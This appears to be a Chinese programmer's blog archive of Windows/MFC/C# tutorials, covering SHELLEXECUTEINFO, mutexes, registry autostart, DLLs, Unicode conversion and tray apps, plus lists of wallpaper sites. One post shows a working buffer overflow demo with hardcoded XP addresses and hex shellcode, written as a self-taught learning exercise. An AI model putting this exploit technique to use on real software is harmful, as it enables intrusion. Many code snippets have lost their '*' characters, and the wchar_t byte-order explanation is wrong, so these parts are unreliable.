SHELLEXECUTEINFO 结构



ShellExecuteEx 的参数。


在C++中其结构为


typedef
struct _SHELLEXECUTEINFO {
DWORD cbSize;
ULONG fMask;
HWND hwnd;
LPCTSTR lpVerb;
LPCTSTR lpFile;
LPCTSTR lpParameters;
LPCTSTR lpDirectory;
int nShow;
HINSTANCE hInstApp;
LPVOID lpIDList;
LPCTSTR lpClass;
HKEY hkeyClass;
DWORD dwHotKey;
union {
HANDLE hIcon;
HANDLE hMonitor;
} DUMMYUNIONNAME;
HANDLE hProcess;


} SHELLEXECUTEINFO, LPSHELLEXECUTEINFO;


在C#中其结构为


public
struct
SHELLEXECUTEINFO
//
用于ShellExecuteEx
{

public
int cbSize;

public
int fMask;

public
int hwnd;

public
string lpVerb;

public
string lpFile;

public
string lpParameters;

public
string lpDirectory;

public
int nShow;

public
int hInstApp;

public
int lpIDList;

public
string lpClass;

public
int hkeyClass;

public
int dwHotKey;

public
int hIcon;

public
int hProcess;
}


参数详解:


cbSize
存储该结构的长度,以字节为单位。


fMask 一个标志数组,用来设置其他成员的有效性
SEE_MASK_CLASSKEY 0x3
SEE_MASK_CLASSNAME 0x1
SEE_MASK_CONNECTNETDRV 0x80
SEE_MASK_DOENVSUBST 0x200
SEE_MASK_FLAG_DDEWAIT 0x100
SEE_MASK_FLAG_LOG_USAGE 0x4000000
SEE_MASK_FLAG_NO_UI 0x400
SEE_MASK_HMONITOR 0x200000
SEE_MASK_HOTKEY 0x20
SEE_MASK_ICON 0x10
SEE_MASK_IDLIST 0x4
SEE_MASK_INVOKEIDLIST 0xC
SEE_MASK_NOASYNC 0x100000
SEE_MASK_NOCLOSEPROCESS 0x40
SEE_MASK_NOZONECHECKS 0x800000
SEE_MASK_NO_CONSOLE 0x8000
SEE_MASK_UNICODE 0x100000
SEE_MASK_FILEANDURL 0x4000000


hwnd 调用这个ShellExecuteEx的窗口句柄


lpVerb 设定这个ShellExecuteEx的动作,包括:
edit


打开编辑器编辑文档,如果 lpFile 不是一个文档,则这个函数会失败
explore


lpFile 为路径打开资源管理器
find


从指定目录开始搜索
open
根据
lpFile
打开对应文件,该文件可以为可执行文件、文档或者文件夹
print
根据 lpFile 打印文档,若lpFile不是一个文档则该函数会失败


properties


显示文件或文件夹的属性

lpFile
结尾的字符串,指出
lpVerb
的操作对象的路径,被系统支持的操作包括文本的
open

print
等,其中print要求必须有一个已经注册的打印机,而其他种类的文档会通过系统关联进行查询执行。若要设置一个空的namespace,则需要设置fMask的值为see_mask_invokeidlist
注意:see_mask_invokeidlist已设置,则可以藉由lpFile或者lpIDList确定item的系统路径或者PIDL


lpParameters 运行/打开程序的参数,如果打开的是一个文档,则该项无效


lpDirectory 指明工作目录的名字,成员没有说明,则默认为当前目录


nShow 说明ShellExecuteEx打开的程序将以什么形式出现


hInstApp 如果函数运行成功,该项的值将大于32,否则会是下列错误对应的值
SE_ERR_FNF 没有找到文件

SE_ERR_PNF
没有找到路径
SE_ERR_ACCESSDENIED
拒绝访问
SE_ERR_OOM

内存不足
SE_ERR_DLLNOTFOUND
没有找到动态链接库
SE_ERR_SHARE
不能操作一个以打开的文件
SE_ERR_ASSOCINCOMPLETE

文件关联信息不完整
SE_ERR_DDETIMEOUT
DDE
操作超时
SE_ERR_DDEFAIL
DDE
操作失败
SE_ERR_DDEBUSY DDE
繁忙
SE_ERR_NOASSOC
没有找到文件关联


lpIDList 一个itemidlist结构的地址,用来存储成员的特别标识符,当fMask不包括see_mask_idlistsee_mask_invokeidlist时该项被忽略

lpClass 用以指明文件类别的名字或GUID,当fMask不包括see_mask_classname时该项被忽略

hkeyClass 获得已在系统注册的文件类型的Handle,当fMask不包括see_maskclasskey时该项被忽略

dwHotKey 程序的热键关联,低位存储虚拟关键码(Key Code),高位存储修改标志位(HOTKEYF),修改标志为(modifier flags)的详细列表请看wm_sethotkey消息的描述,当fmask不包括see_mask_hotkey时该项被忽略


DUMMYUNIONNAME
hIcon

取得对应文件类型的图标的Handle,当fMask不包括SEE_MASK_ICON时该项被忽略


hMonitor 将文档显示在显示器上的Handle,当fMask不包括SEE_MASK_HMONITOR时该项被忽略

*hProcess 用于进行return操作的成员,若fMask不设为see_mask_nocloseprocess则该项值为null,即使fMask设为see_mask_nocloseprocess,若没有进程启动,该项值仍为null。即没有新的进程启动,则该项值一只为null


参考文档:


SHELLEXECUTEINFO Structure (MSDN)

MFC小技巧



帮朋友做的小程序,里面用到一些以前没有用过的(MayBe以后将要用的J),Record!!!


我的环境:Windows XP Professional SP2 ,Visual Studio 2005 Professional SP1


1. 只允许一个用户实例:
该功能的实现MS建议使用Mutex(互斥体)进行实现。那么我们首先需要给这个Mutex一个标示,用编写COM组件的GUID生成器生成吧!
1.在Visual Studio Tools中的 Visual Studio 2005 命令提示 中输入guidgen,生成一个guid供使用
2.创建互斥体,我是在OnInitDialog()中创建的,在文件××××Dlg.cpp中(××××为你的工程名),事实上大部分的初始化代码都可以放在这里,这里的代码会在MFC程序启动时运行,首先在××××Dlg.h中声明一个HANDLE对象,我是用的是m_hOneInstance
接着在BOOL C×××Dlg::OnInitDialog()中加入如下代码

//创建互斥体
m_hOneInstance = ::CreateMutex(NULL, false, _T(UNIQUE_NAME));
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
AfxMessageBox(_T("
此程序禁止两次运行!"));
ExitProcess(0); //
退出程序
}
3.为这个程序添加退出事件,即就是重写void C××××Dlg::PostNcDestroy()函数。该函数在退出MFC程序时会调用。我们可以在××××Dlg.h中看到OnInitDialog()函数的声明,那么,照猫画虎吧
我的PostNcDestroy()实现
void CMutextestApp::PostNcDestroy()
{
CloseHandle(m_hOneInstance);
CDialog::PostNcDestroy(); //
调用原本的PostNcDestroy()函数
}


2. VC的注册表操作
主要是添加了开机自启动项
函数详解
a)打开注册表,定位到某个KEY

long
RegOpenKeyEx(
HKEY hKey, //
待打开的预定义键
LPCTSTR lpSubKey, // 待打开的子键的地址
DWORD ulOptions, // 保留
REGSAM samDesired, // 安全访问掩码
PHKEY phkResult // 打开的键的地址
);
b) 关闭注册表
RegCloseKey(HKEY hKey, // 待打开的预定义键
)
c)向注册表写入值
long RegSetValueEx(
HKEY hKey, //
待打开的预定义键
LPCTSTR lpValueName, //一个指向包含值名的字符串指针
DWORD Reserved, //保留,通常必须设置为
DWORD dwType, //设置的值的类型
CONST BYTE lpData, //指向包含插入注册表的键值的缓冲区的指针
DWORD cbData //指向保存返回值长度的变量的指针
);
d)
从注册表删除值
long RegDeleteValue(
HKEY hKey, //
待打开的预定义键
LPCTSTR lpSubKEY //欲删除的键名
);
实例
//写入注册表,开机自启动
HKEY hKey;//找到系统的启动项
LPCTSTR lpRun = _T("Software\Microsoft\Windows\CurrentVersion\Run");//打开启动项Keylong lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey);if(lRet == ERROR_SUCCESS){ unsigned
char pFileName[MAX_PATH] = {0}; //
得到程序自身的全路径
DWORD dwRet = GetModuleFileName(NULL, (LPWCH)pFileName, MAX_PATH); //添加一个子Key,并设置值
lRet = RegSetValueEx(hKey, _T("Mutextest"), 0, REG_SZ, (BYTE )pFileName, dwRet); //关闭注册表
RegCloseKey(hKey); if(lRet != ERROR_SUCCESS) { AfxMessageBox(_T("系统参数错误,不能随系统启动")); CHECK1.SetCheck(0);
}}


3. VC的获取系统时间
使用VC的一个结构体SYSTEMTIME,其中包括年、月、日、时、分、秒等信息。可以使用结构体的访问方式访问其中值。
使用
GetSystemTime(&SYSTEMTIME)传入一个SYSTEMTIME类型的引用/指针即可取得当前系统时间。注意,取得的时间是格林尼治时间,比如我们在正8时区就要手动给当前时间进行修正。
SYSTEMTIME tm;
GetSystemTime(&tm);
//
输出时间
outfile << setw(2) << tm.wMonth << "/" << setw(2) << tm.wDay << "/" << tm.wYear << " " << setw(2) << (tm.wHour + 8)%24 << ":" << setw(2) << tm.wMinute << ":" << setw(2) << tm.wSecond << " ";


4.
VC的获取当前用户名
使用函数GetUserName(),用法如下
char buf[64];GetUserName(buf, sizeof(buf));
<span style="font-family:微软雅黑;">参考文章:

如何在VC++中使用注册表
MFC访问注册表和ini文件

10月10日调试通过的简单缓存区溢出漏洞示例



环境 : WindowsXP SP2 with patch to 10/10/2007
Visual Studio 2005 SP1


MessageBoxA 入口地址:0x77D505FC
ExitProcess入口地址:0x7C81CDDA
JMP ESP : 0x7FFA4512


程序代码:


#include
"stdafx.h"
#include
<string.h>
#include
<windows.h>
char largebuff[] =
"123456789012345678901234"
"\x12\x45\xfa\x7f"
"\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x48\xc6\x45\xfd\x69\xc6\x45\xfe\x21\xba\xfc\x05\xd5\x77\x52\x57\x8d\x55\xfc\x52\x52\x57\xff\x55\xf8"
"\x55\x8b\xec\x33\xff\xba\xda\xcd\x81\x7c\x52\x57\xff\x55\xfc"
;

void mycopy(char* inbuff)
{
char smallbuff[17];
strcpy (smallbuff, largebuff);
}
int main (void)
{
HINSTANCE h = LoadLibrary(_T("user32"));
mycopy(largebuff);

FreeLibrary(h);
}



说一下ExitProcess那东西,这个我实在是不会搞啊,我本来用了一段反汇编的代码制作的ShellCode,如下
"\x8b\xf4\x6a\x00\xff\x15\x08\x82\x41\x00\x3b\xf4\xe8\x47\xfd\xff\xff"
单独测试ShellCode的时候是没问题的,但是到了挂漏洞代码的时候发现其中有字符串的结束符\x00,没办法最终从这段代码的汇编中看到地址0x00418208中存放的ExitProcess的入口地址,代换了已经失效的入口地址才成功的。至于那段调用ExitProcess的ASM我就实在是不明白了…………….

[图]15个超漂亮科幻相关壁纸下载站点集装

如果您正在寻找一些很炫很科幻的壁纸,再或者你找不到合适你屏幕大小的壁纸,这篇文章是为你而写的。这些壁纸的漂亮程度绝对超乎你的想象,强烈推荐你下载使用。

1、先来个Desktopography的,它上面有超过40个科幻的主题壁纸,都是一些专业人士设计的,而且网站的设计相当漂亮,华丽的界面和震撼的音乐。

2、Vista Wallpaper ,放心,这不是只提供vista壁纸下载的网站。这个网站的壁纸能让你有回归大自然的感觉(德文网站)

3、c’t Wallpapers 上面有很多关于企鹅的壁纸,不知道是否和linux有关呢

4、ArtLebedev Wallpapers and Posters ,不要被下面的单张壁纸迷惑倒,它不是提供apple壁纸的网站。

5、Social Wallpapering ,web2.0相关的壁纸。壁纸是又匿名用户上传的。

6、Wallpapers Flickr Pool,超过20000张漂亮的壁纸供你下载。

7、Mexivista ,每个季度都有新的壁纸推出,可惜的是有些壁纸尺寸太小。

8、Gallery of Art ,提供的壁纸大多都是黑色背景的。需要注意的是你可能需要关闭"阻止弹出窗口"。

9、Adobe CS3 Wallpaper,这个的确和Adobe有点关系。

10、Design Is… Pool,壁纸由用户上传,来自Flickr。需要翻墙查看。

11、Wallpaperstock.net,有回家的感觉吗?

12、13 Fantastic Free Wallpaper Images,够科幻吗?

13、Gamers Wallpapers Gallery,提供游戏壁纸下载,尤其是赛车游戏。壁纸超过8千张。而且像素都是非常高的。

14、Mike Bonnell’s Wallpaper,很有艺术感吧?里面还有更多。

15、Four,这个下载站点的名字比较有趣。站点里面的壁纸可能比较适合女生。

以上壁纸提供站点由Jason Ng收集整理自Smashing Magazine
本文地址:http://www.kenengba.com/post/252.html

DLL编写初体验



首先声明,我是初学者,绝对的初学,所以有什么不对或者不好的地方,欢迎指正。


我的环境:Windows XP SP2 Professional + Visual Studio 2005 SP1


首先,我的建议是在若是为了MFC程序写DLL最好在创建时勾选MFC支持,使用win32程序的DLL而非什么MFC DLL


.dll的编写与普通C/C++程序没有太大的区别,包括一个.h文件和.cpp文件。.h文件中声明函数、类,.cpp文件中实现函数和类。要注意的是在函数/类名前添加declspec(dllexport) 修饰导出和declspec(dllimport) 修饰导入,用于声明该函数/类用于导出


函数的写法: declspec(dllexport) int demo(int, int);


类的写法: class
declspec(dllexport) demo


{


// TODO: 在此添加类体


};


注意,当写一个导出函数时,.cpp中的函数名前方也需要增加declspec(dllexport)


但有的时候我们需要在一个DLL中引用另一个DLL中的函数、类,就需要用到declspec(dllimport)了。在这里,VC给我们提供的方便是通过以下方式避免导入,导出的使用判定。


#ifdef COREDLL_EXPORTS


#define COREDLL_API declspec(dllexport)


#else


#define
COREDLL_API
declspec(dllimport)


#endif


通过条件编译的方式回避这一问题,为我们提供方便。


那么,接下来是DLL的使用。对于通过编译的DLL,我们一共需要三个文件用于载入,分别是DLL的.h文件,DLL文件以及.lib文件。


使用分两种方法,分别是动态载入和静态载入。


静态载入:适合于在程序中需要大量调用的DLL,只需要在调用的程序头部加入


#include
"DLL_h.h"


#pragma
comment(lib,"DLL.lib")


后,按照普通的使用函数或类的方法使用DLL中的函数或类就可以了


动态载入:适合于小规模使用


//定义一个函数指针


typedef
void ( DLLWITHLIB )(void);


//定义一个函数指针变量


DLLWITHLIB pfFuncInDll = NULL;


//加载dll


HINSTANCE hinst=::LoadLibrary("dll_def.dll");


//找到dllFuncInDll函数


pfFuncInDll = (DLLWITHLIB)GetProcAddress(hinst, "FuncInDll"); //Function Name


//调用dll里的函数


(pfFuncInDll)();


重要的提醒:初学者切记数据类型的使用,如char,建议全部换用wchar_t,否则当你的DLL载入到MFC界面中使用时会有一大堆的数据类型转换的麻烦


最后,提供两篇参考的文章


DLL编写教程


MFC DLL 向导(摘)


OVER!!!JJJ

近期的小总结,有关于Unicode环境下的C/C++/MFC编码的一点小体会



Blog好久都没有更新了,关键是总是在用以前学过的东西,没有什么好总结的


随着密码技术实验的展开,我被从C#和JAVA一下打回了C和C++的环境下,现在才体会到C#这类语言的方便。用回C++以后我的第一感觉就是缚手缚脚,虽然可以做较多的底层操作,但随之而来的是制造BUG的可能性增大,比如new了空间出来忘了delete,数组越界、变量未初始化……这些C#在编写阶段IDE就会提醒的东西在C/C++中完全得自己注意。


更令我郁闷的是C++的数据类型(主要是字符型),就是题目上说的Unicode编码和ANSI码转换的问题。


首先来列举一下MFC中的char(各种char,不要看花眼)


typedef OLECHAR LPOLESTR


typedef OLECHAR BSTR


typedef WCHAR OLECHAR


typedef LPWSTR LPTSTR


typedef WCHAR LPWSTR


typedef
wchar_t WCHAR


typedef
wchar_t TCHAR


各位,你们现在可以了解我的痛苦了吧,这上面的不是全部,却经常出现在MFC自己生成的代码中或者MSDN的例程中,但是却不一样,每次看起来都很头痛……


但是,这还不是全部,我要说的是wchar_t这个类型,它是char,是Unicode的char,宽char


wchar_t的长度为16bit,比我们熟知的char长了一倍,这是为了支持Unicode编码。但是,ANSI码存储进去就成了这样:char -> wchar_twchar_t的高八位为原来的char,低八位为"",空的;但是,如我们所知,一个Unicode字符放在char中要占用两个char,分别存放Unicode的高八位和低八位,那么这个Unicode在wchar_t中会将其高八位和低八位倒过来存储,也就是wchar_t的高八位存储Unicode的低八位,wchar_t的低八位存放Unicode的高八位。当然,wchar_t的结束标志位依然为""


知道了这些,相信你也有一些想法进行char -> wchar_t 或wchar_t -> char的转换了。等等,不忙动手,VC给我们提供了很~~~~多方法来进行这种转换,附上MSDN转换的例子:


如何:在各种字符串类型之间进行转换.aspx)


这里,我也推荐一种转换方法,即是使用WideCharToMultiByte() && MultiByte To WideChar()
,(wchar_t to char
char to wchar_t),但是,这两个函数有比较复杂的输入参数,需要配合wcslen() && strlen()使用(分别是计算wchar_t 的长度和char 的长度。注意,这里中文算为1,英文也算为1,所以大可按照我们一般的思维来统计字符个数)。


MultiByteToWideCharWideCharToMultiByte用法详解


转 参数详解


第一个就是宽字符到多字节字符转换函数,函数原型如下:


int WideCharToMultiByte(


UINT CodePage,


DWORD dwFlags,


LPCWSTR lpWideCharStr,


int cchWideChar,


LPSTR lpMultiByteStr,


int cbMultiByte,


LPCSTR lpDefaultChar,


LPBOOL lpUsedDefaultChar


);


此函数把宽字符串转换成指定的新的字符串,如ANSI,UTF8等,新字符串不必是多字节字符集。参数:


CodePage: 指定要转换成的字符集代码页,它可以是任何已经安装的或系统自带的字符集,你也可以使用如下所示代码页之一。


CP_ACP 当前系统ANSI代码页


CP_MACCP 当前系统Macintosh代码页


CP_OEMCP 当前系统OEM代码页,一种原始设备制造商硬件扫描码


CP_SYMBOL Symbol代码页,用于Windows 2000及以后版本,我不明白是什么


CP_THREAD_ACP 当前线程ANSI代码页,用于Windows 2000及以后版本,我不明白是什么


CP_UTF7 UTF-7,设置此值时lpDefaultChar和lpUsedDefaultChar都必须为NULL


CP_UTF8 UTF-8,设置此值时lpDefaultChar和lpUsedDefaultChar都必须为NULL


我想最常用的应该是CP_ACP和CP_UTF8了,前者将宽字符转换为ANSI,后者转换为UTF8。


dwFlags: 指定如何处理没有转换的字符, 但不设此参数函数会运行的更快一些,我都是把它设为0。 可设的值如下表所示:


WC_NO_BEST_FIT_CHARS 把不能直接转换成相应多字节字符的Unicode字符转换成lpDefaultChar指定的默认字符。也就是说,如果把Unicode转换成多字节字符,然后再转换回来,你并不一定得到相同的Unicode字符,因为这期间可能使用了默认字符。此选项可以单独使用,也可以和其他选项一起使用。


WC_COMPOSITECHECK 把合成字符转换成预制的字符。它可以与后三个选项中的任何一个组合使用,如果没有与他们中的任何一个组合,则与选项WC_SEPCHARS相同。


WC_ERR_INVALID_CHARS 此选项会致使函数遇到无效字符时失败返回,并且GetLastError会返回错误码ERROR_NO_UNICODE_TRANSLATION。否则函数会自动丢弃非法字符。此选项只能用于UTF8。


WC_DISCARDNS 转换时丢弃不占空间的字符,与WC_COMPOSITECHECK一起使用


WC_SEPCHARS 转换时产生单独的字符,此是默认转换选项,与WC_COMPOSITECHECK一起使用


WC_DEFAULTCHAR 转换时使用默认字符代替例外的字符,(最常见的如’?’),与WC_COMPOSITECHECK一起使用。


当指定WC_COMPOSITECHECK时,函数会将合成字符转换成预制字符。合成字符由一个基字符和一个不占空间的字符(如欧洲国家及汉语拼音的音标)组成,每一个都有不同的字符值。预制字符有一个用于表示基字符和不占空间字符的合成体的单一的字符值。


当指定WC_COMPOSITECHECK选项时,也可以使用上表列出的最后3个选项来定制预制字符的转换规则。这些选项决定了函数在遇到宽字符串的合成字符没有对应的预制字符时的行为,他们与WC_COMPOSITECHECK一起使用,如果都没有指定,函数默认WC_SEPCHARS。


对于下列代码页,dwFlags必须为0,否则函数返回错误码ERROR_INVALID_FLAGS。


50220 50221 50222 50225 50227 50229 52936 54936 57002到57011 65000(UTF7) 42(Symbol)


对于UTF8,dwFlags必须为0或WC_ERR_INVALID_CHARS,否则函数都将失败返回并设置错误码ERROR_INVALID_FLAGS,你可以调用GetLastError获得。


lpWideCharStr: 待转换的宽字符串。


cchWideChar: 待转换宽字符串的长度,-1表示转换到字符串结尾。


lpMultiByteStr: 接收转换后输出新串的缓冲区。


cbMultiByte: 输出缓冲区大小,如果为0,lpMultiByteStr将被忽略,函数将返回所需缓冲区大小而不使用lpMultiByteStr。


lpDefaultChar: 指向字符的指针, 在指定编码里找不到相应字符时使用此字符作为默认字符代替。 如果为NULL则使用系统默认字符。对于要求此参数为NULL的dwFlags而使用此参数,函数将失败返回并设置错误码ERROR_INVALID_PARAMETER。


lpUsedDefaultChar:开关变量的指针,用以表明是否使用过默认字符。对于要求此参数为NULL的dwFlags而使用此参数,函数将失败返回并设置错误码ERROR_INVALID_PARAMETER。lpDefaultChar和lpUsedDefaultChar都设为NULL,函数会更快一些。


返回值: 如果函数成功,且cbMultiByte非0,返回写入lpMultiByteStr的字节数(包括字符串结尾的null);cbMultiByte为0,则返回转换所需字节数。函数失败,返回0。


注意:函数WideCharToMultiByte使用不当,会给影响程序的安全。调用此函数会很容易导致内存泄漏,因为lpWideCharStr指向的输入缓冲区大小是宽字符数,而lpMultiByteStr指向的输出缓冲区大小是字节数。为了避免内存泄漏,应确保为输出缓冲区指定合适的大小。我的方法是先使cbMultiByte为0调用WideCharToMultiByte一次以获得所需缓冲区大小,为缓冲区分配空间,然后再次调用WideCharToMultiByte填充缓冲区,详见下面的代码。另外,从Unicode UTF16向非Unicode字符集转换可能会导致数据丢失,因为该字符集可能无法找到表示特定Unicode数据的字符。


wchar_t pwszUnicode = "Holle, word! 你好,中国!";


int iSize;


char pszMultiByte;


iSize = WideCharToMultiByte(CP_ACP, 0, pwszUnicode, -1, NULL, 0, NULL, NULL); //返回字符串长度


pszMultiByte = new char[iSize + 1]; //+1的原因是为字符串结束标志""留空间


WideCharToMultiByte(CP_ACP, 0, pwszUnicode, -1, pszMultiByte, iSize, NULL, NULL);


第二个是多字节字符到宽字符转换函数,函数原型如下:


int MultiByteToWideChar(


UINT CodePage,


DWORD dwFlags,


LPCSTR lpMultiByteStr,


int cbMultiByte,


LPWSTR lpWideCharStr,


int cchWideChar


);


此函数把多字节字符串转换成宽字符串(Unicode),待转换的字符串并不一定是多字节的。


此函数的参数,返回值及注意事项参见上面函数WideCharToMultiByte的说明,这里只对dwFlags做简单解释。


dwFlags: 指定是否转换成预制字符或合成的宽字符,对控制字符是否使用像形文字,以及怎样处理无效字符。


MB_PRECOMPOSED 总是使用预制字符,即有单个预制字符时,就不会使用分解的基字符和不占空间字符。此为函数的默认选项,不能和MB_COMPOSITE合用


MB_COMPOSITE 总是使用分解字符,即总是使用基字符+不占空间字符的方式


MB_ERR_INVALID_CHARS 设置此选项,函数遇到非法字符就失败并返回错误码ERROR_NO_UNICODE_TRANSLATION,否则丢弃非法字符


MB_USEGLYPHCHARS 使用像形字符代替控制字符


对于下列代码页,dwFlags必须为0,否则函数返回错误码ERROR_INVALID_FLAGS。


50220 50221 50222 50225 50227 50229 52936 54936 57002到57011 65000(UTF7) 42(Symbol)


对于UTF8,dwFlags必须为0或MB_ERR_INVALID_CHARS,否则函数都将失败并返回错误码ERROR_INVALID_FLAGS。


以下函数我没用过,只简要说明之。


int GetTextCharset( HDC hdc );


此函数获取当前选进的设备描述表的字符集,等同于GetTextCharsetInfo(hdc, NULL, 0)。


返回值: 成功返回字符集标识,失败返回DEFAULT_CHARSET。


例程:


2.char转换成wchar
const char pFilePathName = "c:\aa.dll";
int nLen = strlen(pFilePathName) + 1;
int nwLen = MultiByteToWideChar(CP_ACP, 0, pFilePathName, nLen, NULL, 0);

TCHAR lpszFile[256];
MultiByteToWideChar(CP_ACP, 0, pFilePathName, nLen, lpszFile, nwLen);



3.wchar转换成char
char pFilePathName;
TCHAR lpszFile[256];
_tcscpy(lpszFile, _T("c:\aa.dll"));

int nLen = wcslen(wstr)+1;
WideCharToMultiByte(CP_ACP, 0, lpszFile, nLen, pFilePathName, 2
nLen, NULL, NULL);

收藏 推荐10个免费壁纸,字体,图标资源网站

你的屏幕很大找不到合适的壁纸?你想打印个性化的字体?你想寻找让人眼前一亮的图标?这篇文章可以帮助你。这篇文章介绍10个免费的壁纸,字体,图标下载资源网站。

1Pixelgirl
提供免费的图标,PC壁纸以及iPhone的壁纸。

2
Dual Screen Wallpapers 这个网站的壁纸都非常虚幻,而且大多数为宽屏壁纸。使用宽屏的朋友不妨一试。

3
Veer’s collection of desktop wallpapers
提供一些具有艺术气味的壁纸下载。像素囊括80060019201200

4
collection of photos taken for Windows Vista’s default wallpaper selection
很漂亮的风景照,用来当壁纸最好不过。

5
InterfaceLIFT
这是一个十分值得推荐的壁纸资源,因为它的壁纸几乎囊括了所有的像素,从iPhonePSP到超大宽屏(25601600)。

6
exljbris
精选一些漂亮的字体供免费下载。

7
TypeNow.net’s collection of free themed fonts
超过300种字体供下载了。

8
Fonts 500
看名字可能都已经能猜到,提供500种字体下载。

9
free-icons.jonasjohn.de 将一些日常生活种的物品制作成背景透明的图标,相当不错。(似乎连不上)

10
*Crystal Clear icon set wiki下属站点,提供超多图标下载。放在最后介绍是因为可能吧最喜欢这个,看下图:

C# 的DLL



用VS2005写C#调用自己写的DLL,刚学会,激动一下呵呵

完整的例子,出自MSDN

示例

// File: Add.cs

namespace UtilityMethods

{

public class AddClass

{

public static long Add(long i, long j)

{

return (i + j);

}

}

}


// File: Mult.cs

namespace UtilityMethods

{

public class MultiplyClass

{

public static long Multiply(long x, long y)

{

return (x y);

}

}

}


// File: TestCode.cs


using UtilityMethods;


class TestCode

{

static void Main(string[] args)

{

System.Console.WriteLine("Calling methods from MathLibrary.DLL:");


if (args.Length != 2)

{

System.Console.WriteLine("Usage: TestCode <num1> <num2>");

return;

}


long num1 = long.Parse(args[0]);

long num2 = long.Parse(args[1]);


long sum = AddClass.Add(num1, num2);

long product = MultiplyClass.Multiply(num1, num2);


System.Console.WriteLine("{0} + {1} = {2}", num1, num2, sum);

System.Console.WriteLine("{0} {1} = {2}", num1, num2, product);

}

}

有些东西是要一点点积累的

C# 访问注册表的程序



这次的C#期末大作业涉及到注册表键值的添加、删除、修改,主要是给程序添加开机自启动项。


1. using Microsoft.Win32;

2.
使用语句
RegistryKey hklm = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", true);
<span style="font-family:微软雅黑;">定位到注册表某一点

  1. 使用hklm.SetValue("YnuMaterialServer", Application.ExecutablePath); //键名, 值内容
    添加键值
  2. 使用
    hklm.GetValue("YnuMaterialServer");
    通过键名取得内容
  3. 使用
    hklm.DeleteValue("YnuMaterialServer");
    通过键名删除键(注意,这里若不存在此键,删除不会抛出异常,所以是否删除成功需要用GetValue方法自行判断)
  4. 另,若注册表禁止访问或访问失败(如卡巴斯基主动防御阻止)则会抛出异常 UnauthorizedAccessException,需要做出处理

C#托盘程序编写总结



我的一点小小经验,总结在这里,备忘。


我使用的环境:Visual Studio 2005 Professoinal Edition


注意:Windows窗体生成器生成的代码中不能加注释,即使加了注释也会被自动去掉!


1. 使用NotifyIcon控件,该控件的作用是程序运行时在Windows任务栏右侧的通知区域中(任务栏)显示图标。

2. 使用contextMenuStrip控件,该控件可以关联到其它控件,作用是当右击关联的控件时显示菜单。

3. 在NotifyIcon1的属性列表中的contextMenuStrip的下拉列表中选择你刚才创建的contextMenuStrip1菜单。你的托盘程序就拥有一个菜单了。

4. 接下来的与通常图形界面程序的编写相同,首先在[设计]窗口中设计你的界面,然后双击做好的菜单或按钮进入代码窗口写对应的代码。


接下来是一些托盘程序所应具有的一些特别功能的代码


1. 为托盘程序设置双击托盘图标显示/隐藏窗口
首先是在Windows 窗体设计器生成的代码中为托盘图标增加双击事件,具体做法是在具有托盘图标的Form的designer.cs中找到notifyIcon的部分,加入语句

this.notifyIcon1.DoubleClick += new System.EventHandler_(this.notifyIcon1DoubleClick); 其作用是重载notifyIcon1的双击事件,为其添加方法notifyIcon1_DoubleClick(注意,这里的notifyIcon1和notifyIcon1_DoubleClick可以由你自己设定,可能与这里不同)。
接着我们来实现notifyIcon1_DoubleClick方法,在Form的Class中写方法:


private
void notifyIcon1_DoubleClick(object sender, EventArgs e)


{


this.Show();


if (this.WindowState == FormWindowState.Minimized)


this.WindowState = FormWindowState.Normal;


else
if (this.WindowState == FormWindowState.Normal)


this.WindowState = FormWindowState.Minimized;


this.Activate(); //激活窗体并为其赋予焦点


}


1. 最小化时隐藏窗体(隐藏任务栏上的项目)
首先同样是修改窗体设计器自动生成的代码,在Form1(假设,可能不同)中增加语句

this.Resize += new System.EventHandler(this.Form1_Resize);

然后实现Form1_Resize方法:


private
void Form1_Resize(object sender, System.EventArgs e)


{


if (this.WindowState == FormWindowState.Minimized)


{


this.Hide();


}


}


1. 将关闭按钮重载为最小化


protected
override
void OnFormClosing(FormClosingEventArgs e)


{


if (!CloseTag)


{


this.WindowState = FormWindowState.Minimized;


e.Cancel = true;


}


else


e.Cancel = false;


base.OnFormClosing(e);


}


这里需要说明的是,我的Form1有一个Bool型私有变量CloseTag,另外我的程序有一个关闭按钮,该按钮才是真正的关闭程序。我的做法是当使用我的关闭按钮时将CloseTag设为True,否则CloseTag为false。这样就做到了完整的关闭重载。